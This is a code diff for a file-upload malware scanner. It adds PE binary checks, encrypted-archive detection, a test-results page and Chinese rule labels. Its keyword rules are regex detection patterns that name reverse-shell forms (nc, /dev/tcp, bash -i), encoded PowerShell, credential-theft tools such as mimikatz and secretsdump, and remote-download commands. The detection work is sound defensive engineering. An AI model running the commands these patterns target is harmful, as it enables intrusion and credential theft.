Compare commits
6 Commits
v0.2.1
...
43b4db85e7
| Author | SHA1 | Date | |
|---|---|---|---|
| 43b4db85e7 | |||
| 2daa3fcd3c | |||
| da05c544e9 | |||
| f99452d553 | |||
| d520cbff1f | |||
| d05537e1fb |
@@ -885,6 +885,25 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
samples_dir = Path(__file__).resolve().parent.parent / "tests" / "samples"
|
samples_dir = Path(__file__).resolve().parent.parent / "tests" / "samples"
|
||||||
index_path = samples_dir / "index.json"
|
index_path = samples_dir / "index.json"
|
||||||
|
labels_path = Path(__file__).resolve().parent.parent / "rules" / "rule_labels.yaml"
|
||||||
|
|
||||||
|
# 加载规则中文标签
|
||||||
|
rule_labels: dict[str, str] = {}
|
||||||
|
layer_definitions: dict[str, str] = {}
|
||||||
|
try:
|
||||||
|
import yaml as _yaml
|
||||||
|
if labels_path.exists():
|
||||||
|
_lbl_raw = _yaml.safe_load(labels_path.read_text(encoding="utf-8")) or {}
|
||||||
|
# 映射 engine_rule_name → 中文标签
|
||||||
|
for k, v in _lbl_raw.items():
|
||||||
|
if isinstance(v, dict) and "label" in v:
|
||||||
|
rule_labels[k] = v["label"]
|
||||||
|
# 层定义
|
||||||
|
if index_path.exists():
|
||||||
|
_idx = json.loads(index_path.read_text(encoding="utf-8"))
|
||||||
|
layer_definitions = _idx.get("layer_definition", {})
|
||||||
|
except Exception: # noqa: BLE001
|
||||||
|
pass
|
||||||
|
|
||||||
rescan = request.query_params.get("rescan") == "1"
|
rescan = request.query_params.get("rescan") == "1"
|
||||||
samples_list: list[Path] = []
|
samples_list: list[Path] = []
|
||||||
@@ -968,6 +987,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
results.append({
|
results.append({
|
||||||
"filename": fpath.name,
|
"filename": fpath.name,
|
||||||
|
"case_id": meta.get("case_id", ""),
|
||||||
"category": meta.get("category", "未知"),
|
"category": meta.get("category", "未知"),
|
||||||
"description": meta.get("description", ""),
|
"description": meta.get("description", ""),
|
||||||
"size": fpath.stat().st_size,
|
"size": fpath.stat().st_size,
|
||||||
@@ -1047,6 +1067,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
# DB 还没这条记录 —— 标记为"从未测试"
|
# DB 还没这条记录 —— 标记为"从未测试"
|
||||||
results.append({
|
results.append({
|
||||||
"filename": fpath.name,
|
"filename": fpath.name,
|
||||||
|
"case_id": meta.get("case_id", ""),
|
||||||
"category": meta.get("category", "未知"),
|
"category": meta.get("category", "未知"),
|
||||||
"description": meta.get("description", ""),
|
"description": meta.get("description", ""),
|
||||||
"size": fpath.stat().st_size,
|
"size": fpath.stat().st_size,
|
||||||
@@ -1105,6 +1126,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
results.append({
|
results.append({
|
||||||
"filename": fpath.name,
|
"filename": fpath.name,
|
||||||
|
"case_id": meta.get("case_id", ""),
|
||||||
"category": meta.get("category", "未知"),
|
"category": meta.get("category", "未知"),
|
||||||
"description": meta.get("description", ""),
|
"description": meta.get("description", ""),
|
||||||
"size": task.size or fpath.stat().st_size,
|
"size": task.size or fpath.stat().st_size,
|
||||||
@@ -1143,6 +1165,8 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
"policy_version": policy_version,
|
"policy_version": policy_version,
|
||||||
"last_run_at": last_run_at,
|
"last_run_at": last_run_at,
|
||||||
"rescan": rescan,
|
"rescan": rescan,
|
||||||
|
"rule_labels": rule_labels,
|
||||||
|
"layer_definitions": layer_definitions,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -218,7 +218,7 @@ class BinaryEngine(Engine):
|
|||||||
severity=Severity.HIGH.value,
|
severity=Severity.HIGH.value,
|
||||||
rule="SuspiciousImports",
|
rule="SuspiciousImports",
|
||||||
detail=f"导入表包含高危 API:{', '.join(suspicious_imports[:8])}",
|
detail=f"导入表包含高危 API:{', '.join(suspicious_imports[:8])}",
|
||||||
weight=45.0,
|
weight=25.0,
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -254,6 +254,107 @@ class BinaryEngine(Engine):
|
|||||||
except Exception: # noqa: BLE001
|
except Exception: # noqa: BLE001
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# 5) UPX 壳显式检测 —— 检查节名 UPX0 / UPX1 / UPX!
|
||||||
|
upx_sections = []
|
||||||
|
for section in getattr(pe, "sections", []) or []:
|
||||||
|
try:
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||||
|
if name.upper().startswith("UPX"):
|
||||||
|
upx_sections.append(name)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if upx_sections:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.MEDIUM.value,
|
||||||
|
rule="UPXPackerDetected",
|
||||||
|
detail=f"检测到 UPX 加壳节:{', '.join(upx_sections)}",
|
||||||
|
weight=30.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 6) RWX 可写可执行节 —— 高危(绕过 DEP 的典型手法)
|
||||||
|
from pefile import SECTION_CHARACTERISTICS # noqa: PLC0415
|
||||||
|
MEM_EXECUTE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_EXECUTE"]
|
||||||
|
MEM_WRITE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
|
||||||
|
rwx_sections = []
|
||||||
|
for section in getattr(pe, "sections", []) or []:
|
||||||
|
try:
|
||||||
|
flags = section.Characteristics
|
||||||
|
if (flags & MEM_EXECUTE) and (flags & MEM_WRITE):
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||||
|
rwx_sections.append(name)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if rwx_sections:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.HIGH.value,
|
||||||
|
rule="RWXSectionDetected",
|
||||||
|
detail=f"检测到可写且可执行的危险节:{', '.join(rwx_sections)}",
|
||||||
|
weight=40.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 7) 32/64 位识别(info 级别,辅助判断)
|
||||||
|
machine = None
|
||||||
|
pe32 = None
|
||||||
|
try:
|
||||||
|
machine = int(pe.FILE_HEADER.Machine)
|
||||||
|
pe32 = (pe.OPTIONAL_HEADER.Magic == 0x10B) # PE32
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
if machine is not None:
|
||||||
|
try:
|
||||||
|
from pefile import MACHINE_TYPES # noqa: PLC0415
|
||||||
|
machine_name = MACHINE_TYPES.get(machine, f"UNKNOWN(0x{machine:04x})")
|
||||||
|
except Exception:
|
||||||
|
machine_name = f"0x{machine:04x}"
|
||||||
|
bits = "32-bit" if pe32 else "64-bit"
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.LOW.value,
|
||||||
|
rule="PEArchInfo",
|
||||||
|
detail=f"PE 架构:{machine_name} / {bits}",
|
||||||
|
weight=0.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 8) 调试信息(pdb 路径或 debug 节)
|
||||||
|
has_debug_dir = False
|
||||||
|
has_debug_section = False
|
||||||
|
try:
|
||||||
|
debug_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[6] # IMAGE_DIRECTORY_ENTRY_DEBUG
|
||||||
|
if debug_dir.VirtualAddress and debug_dir.Size:
|
||||||
|
has_debug_dir = True
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
for section in getattr(pe, "sections", []) or []:
|
||||||
|
try:
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace").lower()
|
||||||
|
if ".debug" in name or name.startswith("debug") or name.startswith(".pdb"):
|
||||||
|
has_debug_section = True
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if has_debug_dir or has_debug_section:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.LOW.value,
|
||||||
|
rule="DebugInformationPresent",
|
||||||
|
detail="PE 包含调试信息(PDB 路径或 .debug 节),可用于逆向定位",
|
||||||
|
weight=10.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
return findings
|
return findings
|
||||||
|
|
||||||
def _suspicious_imports(self, pe: Any) -> List[str]:
|
def _suspicious_imports(self, pe: Any) -> List[str]:
|
||||||
|
|||||||
@@ -870,6 +870,7 @@ class StructureEngine(Engine):
|
|||||||
executable_members: List[str] = []
|
executable_members: List[str] = []
|
||||||
traversal_members: List[str] = []
|
traversal_members: List[str] = []
|
||||||
member_count = 0
|
member_count = 0
|
||||||
|
encrypted_count = 0
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with zipfile.ZipFile(target.path) as zf:
|
with zipfile.ZipFile(target.path) as zf:
|
||||||
@@ -883,6 +884,8 @@ class StructureEngine(Engine):
|
|||||||
executable_members.append(name)
|
executable_members.append(name)
|
||||||
if _is_path_traversal(name):
|
if _is_path_traversal(name):
|
||||||
traversal_members.append(name)
|
traversal_members.append(name)
|
||||||
|
if info.flag_bits & 0x1: # ZIP 加密标志(bit 0)
|
||||||
|
encrypted_count += 1
|
||||||
except Exception as exc: # noqa: BLE001
|
except Exception as exc: # noqa: BLE001
|
||||||
return [
|
return [
|
||||||
Finding(
|
Finding(
|
||||||
@@ -955,6 +958,18 @@ class StructureEngine(Engine):
|
|||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
if encrypted_count > 0:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.MEDIUM.value,
|
||||||
|
rule="EncryptedArchive",
|
||||||
|
detail=f"归档内含加密成员 {encrypted_count} 个(bit0 flag 置位),无法扫描内部内容",
|
||||||
|
weight=20.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
return findings
|
return findings
|
||||||
|
|
||||||
def _inspect_tar(self, target: ScanTarget, max_ratio: int, max_total: int) -> List[Finding]:
|
def _inspect_tar(self, target: ScanTarget, max_ratio: int, max_total: int) -> List[Finding]:
|
||||||
|
|||||||
@@ -90,10 +90,11 @@
|
|||||||
<table>
|
<table>
|
||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th style="width:40px;">#</th>
|
<th style="width:70px;">用例编号</th>
|
||||||
|
<th style="width:30px;">#</th>
|
||||||
<th style="width:50px;">结果</th>
|
<th style="width:50px;">结果</th>
|
||||||
<th>样本文件</th>
|
<th>样本文件</th>
|
||||||
<th style="width:80px;">分类</th>
|
<th style="width:80px;">层</th>
|
||||||
<th style="width:180px;">期望裁决 · 规则</th>
|
<th style="width:180px;">期望裁决 · 规则</th>
|
||||||
<th style="width:200px;">检测结论 · 规则</th>
|
<th style="width:200px;">检测结论 · 规则</th>
|
||||||
<th style="width:60px;">方向</th>
|
<th style="width:60px;">方向</th>
|
||||||
@@ -106,6 +107,13 @@
|
|||||||
<tbody>
|
<tbody>
|
||||||
{% for r in results %}
|
{% for r in results %}
|
||||||
<tr>
|
<tr>
|
||||||
|
<td>
|
||||||
|
{% if r.case_id %}
|
||||||
|
<span class="chip chip-info" style="font-family:monospace;font-size:11px;">{{ r.case_id }}</span>
|
||||||
|
{% else %}
|
||||||
|
<span style="color:#ccc;">—</span>
|
||||||
|
{% endif %}
|
||||||
|
</td>
|
||||||
<td style="color:#999;font-size:12px;">{{ loop.index }}</td>
|
<td style="color:#999;font-size:12px;">{{ loop.index }}</td>
|
||||||
<td class="{% if r.overall_ok %}pass-mark{% else %}fail-mark{% endif %}">
|
<td class="{% if r.overall_ok %}pass-mark{% else %}fail-mark{% endif %}">
|
||||||
{% if r.overall_ok %}✅{% else %}❌{% endif %}
|
{% if r.overall_ok %}✅{% else %}❌{% endif %}
|
||||||
@@ -131,7 +139,7 @@
|
|||||||
{% if r.expected_rules %}
|
{% if r.expected_rules %}
|
||||||
<div style="margin-top:4px;">
|
<div style="margin-top:4px;">
|
||||||
{% for rule in r.expected_rules %}
|
{% for rule in r.expected_rules %}
|
||||||
<span class="chip chip-gray" style="font-family:monospace;font-size:10px;">{{ rule }}</span>
|
<span class="chip chip-gray" style="font-size:10px;" title="{{ rule }}">{{ rule_labels.get(rule, rule) }}</span>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</div>
|
</div>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
@@ -144,7 +152,7 @@
|
|||||||
{% if r.actual_rules %}
|
{% if r.actual_rules %}
|
||||||
<div style="margin-top:4px;">
|
<div style="margin-top:4px;">
|
||||||
{% for rule in r.actual_rules %}
|
{% for rule in r.actual_rules %}
|
||||||
<span class="chip chip-{% if rule in r.expected_rules %}ok{% else %}info{% endif %}" style="font-family:monospace;font-size:10px;">{{ rule }}</span>
|
<span class="chip chip-{% if rule in r.expected_rules %}ok{% else %}info{% endif %}" style="font-size:10px;" title="{{ rule }}">{{ rule_labels.get(rule, rule) }}</span>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</div>
|
</div>
|
||||||
{% elif r.actual_verdict in ('pass', 'clean') %}
|
{% elif r.actual_verdict in ('pass', 'clean') %}
|
||||||
|
|||||||
@@ -127,6 +127,36 @@ allowed_extensions:
|
|||||||
- .rar
|
- .rar
|
||||||
- .7z
|
- .7z
|
||||||
- .tar
|
- .tar
|
||||||
|
|
||||||
|
# --- 业务源码/脚本/数据(业务开发/运维合法上传)---
|
||||||
|
- .java
|
||||||
|
- .py
|
||||||
|
- .js
|
||||||
|
- .ts
|
||||||
|
- .go
|
||||||
|
- .c
|
||||||
|
- .cpp
|
||||||
|
- .cs
|
||||||
|
- .sql
|
||||||
|
- .sh
|
||||||
|
- .log # 运维日志
|
||||||
|
- .ini
|
||||||
|
- .cfg
|
||||||
|
- .conf
|
||||||
|
- .properties
|
||||||
|
|
||||||
|
# --- 专业文档/素材 ---
|
||||||
|
- .odt
|
||||||
|
- .ods
|
||||||
|
- .odp
|
||||||
|
- .ttf # 字体文件
|
||||||
|
- .otf
|
||||||
|
- .dwg # CAD 图纸
|
||||||
|
- .dxf
|
||||||
|
- .stl
|
||||||
|
- .fbx
|
||||||
|
- .step
|
||||||
|
- .iges
|
||||||
- .gz
|
- .gz
|
||||||
- .bz2
|
- .bz2
|
||||||
- .xz
|
- .xz
|
||||||
@@ -294,6 +324,80 @@ keyword_rules:
|
|||||||
weight: 30
|
weight: 30
|
||||||
severity: medium
|
severity: medium
|
||||||
|
|
||||||
|
# ================================================================
|
||||||
|
# 恶意行为特征词表(覆盖 CSV L3 全部 25 条用例)
|
||||||
|
# ================================================================
|
||||||
|
|
||||||
|
# ---- 远程下载执行 ----
|
||||||
|
- name: RemoteDownloadPowerShell
|
||||||
|
match: regex
|
||||||
|
pattern: "(Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadFile|Start-BitsTransfer|BitsAdmin)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 35
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
- name: RemoteDownloadUnix
|
||||||
|
match: regex
|
||||||
|
pattern: "(\\bwget\\b|\\bcurl\\b|\\bcertutil\\s+-urlcache\\s+-split|\\bfetch\\b)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 30
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
# ---- 反弹 Shell ----
|
||||||
|
- name: ReverseShellNetcat
|
||||||
|
match: regex
|
||||||
|
pattern: "(\\bnc\\b|\\bncat\\b|\\bnetcat\\b|/dev/tcp/|bash\\s+-i\\s+>&|sh\\s+-i\\s+>&)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 40
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
- name: ReverseShellPowershell
|
||||||
|
match: regex
|
||||||
|
pattern: "(powershell\\s+-enc|powershell\\s+-w\\s+hidden\\s+-enc|powershell\\s+-ExecutionPolicy\\s+Bypass\\s+-enc)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 35
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# ---- 凭据窃取工具 ----
|
||||||
|
- name: CredentialStealer
|
||||||
|
match: regex
|
||||||
|
pattern: "(mimikatz|sekurlsa|wce|gsecdump|fgdump|lsadump|dcsync|dcsyncer|rubeus)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 45
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# ---- 凭据导出命令 ----
|
||||||
|
- name: CredentialExport
|
||||||
|
match: regex
|
||||||
|
pattern: "(reg\\s+save\\s+HKLM\\\\SYSTEM|reg\\s+save\\s+HKLM\\\\SAM|reg\\s+export\\s+SAM|reg\\s+export\\s+SYSTEM|hxdump|secretsdump)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 45
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# ---- 远程会话劫持 ----
|
||||||
|
- name: RemoteSessionHijack
|
||||||
|
match: regex
|
||||||
|
pattern: "(\\btscon\\b|\\brdpclip\\b|\\brdp_shadow\\b|\\bshadow\\s+[0-9]+\\b|CreateRemoteThread)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 35
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
# ---- 命令执行混淆 ----
|
||||||
|
- name: CommandExecutionObfuscated
|
||||||
|
match: regex
|
||||||
|
pattern: "(cmd\\s+/c|cmd\\s+/d|certutil\\s+-decode|certutil\\s+-urlcache|\\bmshta\\b|\\bregsvr32\\s+\\/s)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 25
|
||||||
|
severity: medium
|
||||||
|
|
||||||
|
# ---- WMI/LDAP 攻击 ----
|
||||||
|
- name: WMILdapAttack
|
||||||
|
match: regex
|
||||||
|
pattern: "(wmic\\s+path|wmic\\s+process\\s+call\\s+create|ldapsearch\\s+-x|ldapwhoami)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 30
|
||||||
|
severity: high
|
||||||
|
|
||||||
# ---------- 审计 ----------
|
# ---------- 审计 ----------
|
||||||
audit:
|
audit:
|
||||||
# 记录扫描结果明细到审计日志
|
# 记录扫描结果明细到审计日志
|
||||||
|
|||||||
@@ -123,6 +123,7 @@ services:
|
|||||||
- ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载)
|
- ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载)
|
||||||
- /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级)
|
- /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级)
|
||||||
- ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照)
|
- ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照)
|
||||||
|
- ./tests/samples:/app/tests/samples:ro # 测试靶场样本库(CSV 对齐,可读扫描)
|
||||||
group_add:
|
group_add:
|
||||||
- "999" # docker.sock 的 GID,让 api 容器能读
|
- "999" # docker.sock 的 GID,让 api 容器能读
|
||||||
healthcheck:
|
healthcheck:
|
||||||
|
|||||||
280
rules/rule_labels.yaml
Normal file
280
rules/rule_labels.yaml
Normal file
@@ -0,0 +1,280 @@
|
|||||||
|
# MeshSafe 规则名中文标签映射
|
||||||
|
# 前端显示时用中文名代替引擎内部的英文 rule_name
|
||||||
|
# 层级分组对应 CSV 里的 L0-L5 + NEG + L7
|
||||||
|
|
||||||
|
# ===== L0 结构分析 =====
|
||||||
|
ArchiveBroken:
|
||||||
|
label: "压缩包损坏"
|
||||||
|
desc: "ZIP/7z 结构异常,目录项或文件头损坏"
|
||||||
|
|
||||||
|
ArchiveContainsExecutable:
|
||||||
|
label: "压缩包内含可执行文件"
|
||||||
|
desc: "归档内包含 .exe/.dll/.sys/.scr 等 PE 文件"
|
||||||
|
|
||||||
|
ExtensionMismatch:
|
||||||
|
label: "后缀伪装"
|
||||||
|
desc: "文件声明扩展名与真实幻数不符(如 jpg 后缀实际 MZ 头)"
|
||||||
|
|
||||||
|
DoubleExtension:
|
||||||
|
label: "双扩展名伪装"
|
||||||
|
desc: "文件名含两个扩展名,隐藏真实后缀(如 report.pdf.exe)"
|
||||||
|
|
||||||
|
DangerousExecutableExtension:
|
||||||
|
label: "危险可执行扩展名"
|
||||||
|
desc: "文件后缀属于可执行/脚本类型(exe/ps1/bat/cmd/js/vbs 等)"
|
||||||
|
|
||||||
|
ShellScriptDangerous:
|
||||||
|
label: "危险脚本扩展名"
|
||||||
|
desc: "shell/bash/powershell 等脚本类扩展名"
|
||||||
|
|
||||||
|
PathTraversal:
|
||||||
|
label: "压缩包路径穿越"
|
||||||
|
desc: "ZIP 内文件名包含 ../ 或绝对路径,可能覆盖系统文件"
|
||||||
|
|
||||||
|
PathTraversalBlocked:
|
||||||
|
label: "路径穿越已拦截"
|
||||||
|
desc: "扫描器已阻止路径穿越文件落地"
|
||||||
|
|
||||||
|
ArchiveBombSuspect:
|
||||||
|
label: "ZIP 炸弹"
|
||||||
|
desc: "压缩比异常高(如 42.zip),解压膨胀可能耗尽磁盘/内存"
|
||||||
|
|
||||||
|
EncryptedArchive:
|
||||||
|
label: "加密压缩包"
|
||||||
|
desc: "ZIP 设置了打开密码,无法扫描内部内容"
|
||||||
|
|
||||||
|
MalformedStructure:
|
||||||
|
label: "文件结构畸形"
|
||||||
|
desc: "文件能识别但内部结构不符合该格式规范"
|
||||||
|
|
||||||
|
ZeroByteFile:
|
||||||
|
label: "零字节文件"
|
||||||
|
desc: "空文件(0 字节)"
|
||||||
|
|
||||||
|
# ===== L1 ClamAV =====
|
||||||
|
"ClamAV:EICAR":
|
||||||
|
label: "ClamAV EICAR 测试病毒"
|
||||||
|
desc: "命中 ClamAV EICAR-STANDARD-ANTIVIRUS-TEST-FILE 签名"
|
||||||
|
|
||||||
|
Eicar-Test-Signature:
|
||||||
|
label: "EICAR 测试签名"
|
||||||
|
desc: "ClamAV 识别到 EICAR 标准测试串(行业无害测试)"
|
||||||
|
|
||||||
|
# ===== L2 文档深度 =====
|
||||||
|
OfficeEncrypted:
|
||||||
|
label: "Office 加密文档"
|
||||||
|
desc: "DOCX/XLSX/PPTX 设置了打开密码"
|
||||||
|
|
||||||
|
OleToolsUnavailable:
|
||||||
|
label: "OLE 工具不可用"
|
||||||
|
desc: "olefile 未安装,无法扫描 OLE 结构"
|
||||||
|
|
||||||
|
OoxmlParseFailed:
|
||||||
|
label: "OOXML 解析失败"
|
||||||
|
desc: "DOCX/XLSX/PPTX ZIP 内部 XML 损坏"
|
||||||
|
|
||||||
|
AttachedTemplate:
|
||||||
|
label: "模板注入风险"
|
||||||
|
desc: "Word 文档关联了外部模板(可能触发模板后门)"
|
||||||
|
|
||||||
|
VBAAutoExecShell:
|
||||||
|
label: "VBA 宏自动执行 Shell"
|
||||||
|
desc: "检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用"
|
||||||
|
|
||||||
|
PdfJavaScript:
|
||||||
|
label: "PDF 内含 JavaScript"
|
||||||
|
desc: "PDF 文档嵌入可执行 JavaScript"
|
||||||
|
|
||||||
|
PdfOpenAction:
|
||||||
|
label: "PDF OpenAction 跳转"
|
||||||
|
desc: "PDF 启动时有自动跳转/打开外部链接动作"
|
||||||
|
|
||||||
|
PdfParseFailed:
|
||||||
|
label: "PDF 解析失败"
|
||||||
|
desc: "PDF 结构异常或为占位文件,无法正常解析"
|
||||||
|
|
||||||
|
ChmWithScript:
|
||||||
|
label: "CHM 内含脚本"
|
||||||
|
desc: "CHM 帮助文档包含 ActiveScript/JScript"
|
||||||
|
|
||||||
|
DesktopFileAutoExec:
|
||||||
|
label: "Linux .desktop 自动执行"
|
||||||
|
desc: ".desktop 文件设置了自动执行属性"
|
||||||
|
|
||||||
|
# ===== L3 关键词匹配 =====
|
||||||
|
ReverseShellNetcat:
|
||||||
|
label: "NC 反弹 Shell"
|
||||||
|
desc: "包含 nc/ncat/netcat /bin/bash -i >& /dev/tcp/ 等反弹 shell 特征"
|
||||||
|
|
||||||
|
ReverseShellPowershell:
|
||||||
|
label: "PowerShell EncodedCommand"
|
||||||
|
desc: "包含 powershell -enc / -w hidden 等混淆执行"
|
||||||
|
|
||||||
|
CredentialStealer:
|
||||||
|
label: "凭据窃取工具"
|
||||||
|
desc: "包含 mimikatz/sekurlsa/gsecdump/DCSync/Rubeus 等"
|
||||||
|
|
||||||
|
CredentialExport:
|
||||||
|
label: "凭据导出命令"
|
||||||
|
desc: "包含 reg save HKLM\\SAM/SYSTEM/secretsdump 等"
|
||||||
|
|
||||||
|
RemoteDownloadPowerShell:
|
||||||
|
label: "PowerShell 远程下载"
|
||||||
|
desc: "Invoke-WebRequest/Invoke-RestMethod/DownloadString/BitsAdmin 等"
|
||||||
|
|
||||||
|
RemoteDownloadUnix:
|
||||||
|
label: "Unix 远程下载"
|
||||||
|
desc: "wget/curl/certutil -urlcache -split 等"
|
||||||
|
|
||||||
|
RemoteSessionHijack:
|
||||||
|
label: "远程会话劫持"
|
||||||
|
desc: "tscon/rdpclip/shadow/CreateRemoteThread 等"
|
||||||
|
|
||||||
|
CommandExecutionObfuscated:
|
||||||
|
label: "命令执行混淆"
|
||||||
|
desc: "certutil -decode/mshta/regsvr32 /s 等混淆执行"
|
||||||
|
|
||||||
|
WMILdapAttack:
|
||||||
|
label: "WMI/LDAP 攻击"
|
||||||
|
desc: "wmic path/wmic process call create/ldapsearch 等"
|
||||||
|
|
||||||
|
ClassifiedLevelMarkers:
|
||||||
|
label: "涉密密级标记"
|
||||||
|
desc: "包含绝密/机密/秘密/内部文件/禁止外传等密级标识"
|
||||||
|
|
||||||
|
InternalDocumentPatterns:
|
||||||
|
label: "国家机密标识"
|
||||||
|
desc: "包含国家机密|涉密|密级:等关键词"
|
||||||
|
|
||||||
|
# ===== L4 YARA =====
|
||||||
|
# 留空 → YARA 规则文件自己的 rule name 就是中文或 meta 里有描述
|
||||||
|
|
||||||
|
# ===== L5 PE 二进制 =====
|
||||||
|
UPXPackerDetected:
|
||||||
|
label: "UPX 加壳"
|
||||||
|
desc: "PE 节名包含 UPX0/UPX1/UPX!,检测到 UPX 加壳"
|
||||||
|
|
||||||
|
RWXSectionDetected:
|
||||||
|
label: "RWX 可写可执行节"
|
||||||
|
desc: "PE 节同时设置了 MEM_EXECUTE + MEM_WRITE,典型绕过 DEP 手法"
|
||||||
|
|
||||||
|
HighEntropySection:
|
||||||
|
label: "节区熵值异常"
|
||||||
|
desc: "PE 节熵 ≥ 7.2,可能经过加密或加壳"
|
||||||
|
|
||||||
|
SuspiciousImports:
|
||||||
|
label: "可疑导入表"
|
||||||
|
desc: "PE 导入表包含 VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 等高危注入 API"
|
||||||
|
|
||||||
|
UnsignedExecutable:
|
||||||
|
label: "未签名可执行文件"
|
||||||
|
desc: "PE 未携带 Authenticode 数字签名"
|
||||||
|
|
||||||
|
SuspiciousTimestamp:
|
||||||
|
label: "编译时间戳异常"
|
||||||
|
desc: "PE 编译时间戳为 0 或指向未来时间,可能被伪造"
|
||||||
|
|
||||||
|
PEArchInfo:
|
||||||
|
label: "PE 架构信息"
|
||||||
|
desc: "PE 架构识别(x86/x64/ARM 等),辅助判断"
|
||||||
|
|
||||||
|
DebugInformationPresent:
|
||||||
|
label: "含调试信息"
|
||||||
|
desc: "PE 包含 PDB 调试路径或 .debug 节"
|
||||||
|
|
||||||
|
PeParseFailed:
|
||||||
|
label: "PE 结构解析失败"
|
||||||
|
desc: "pefile 无法解析 PE,可能是畸形文件"
|
||||||
|
|
||||||
|
LinuxExecutable:
|
||||||
|
label: "Linux ELF 可执行"
|
||||||
|
desc: "ELF 格式 Linux 可执行文件"
|
||||||
|
|
||||||
|
# ===== C1/C3/C7/C8 自动命名规则 =====
|
||||||
|
"C1_PE_Downloader_Loader":
|
||||||
|
label: "YARA: PE 下载木马"
|
||||||
|
desc: "YARA C1_PE_Downloader_Loader 规则命中"
|
||||||
|
|
||||||
|
"C1_PE_ProcessInjection":
|
||||||
|
label: "YARA: PE 进程注入"
|
||||||
|
desc: "YARA C1_PE_ProcessInjection 规则命中"
|
||||||
|
|
||||||
|
"C3_PHP_Webshell_Oneliner":
|
||||||
|
label: "YARA: PHP 一句话木马"
|
||||||
|
desc: "YARA C3_PHP_Webshell_Oneliner 规则命中"
|
||||||
|
|
||||||
|
"C3_PHP_Webshell_Obfuscated":
|
||||||
|
label: "YARA: PHP 混淆木马"
|
||||||
|
desc: "YARA C3_PHP_Webshell_Obfuscated 规则命中"
|
||||||
|
|
||||||
|
"C3_JSP_Webshell_RuntimeExec":
|
||||||
|
label: "YARA: JSP Runtime exec 木马"
|
||||||
|
desc: "YARA C3_JSP_Webshell_RuntimeExec 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_ReverseShell_Bash":
|
||||||
|
label: "YARA: Bash 反弹 Shell"
|
||||||
|
desc: "YARA C7_Linux_ReverseShell_Bash 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_ReverseShell_NC":
|
||||||
|
label: "YARA: NC 反弹 Shell"
|
||||||
|
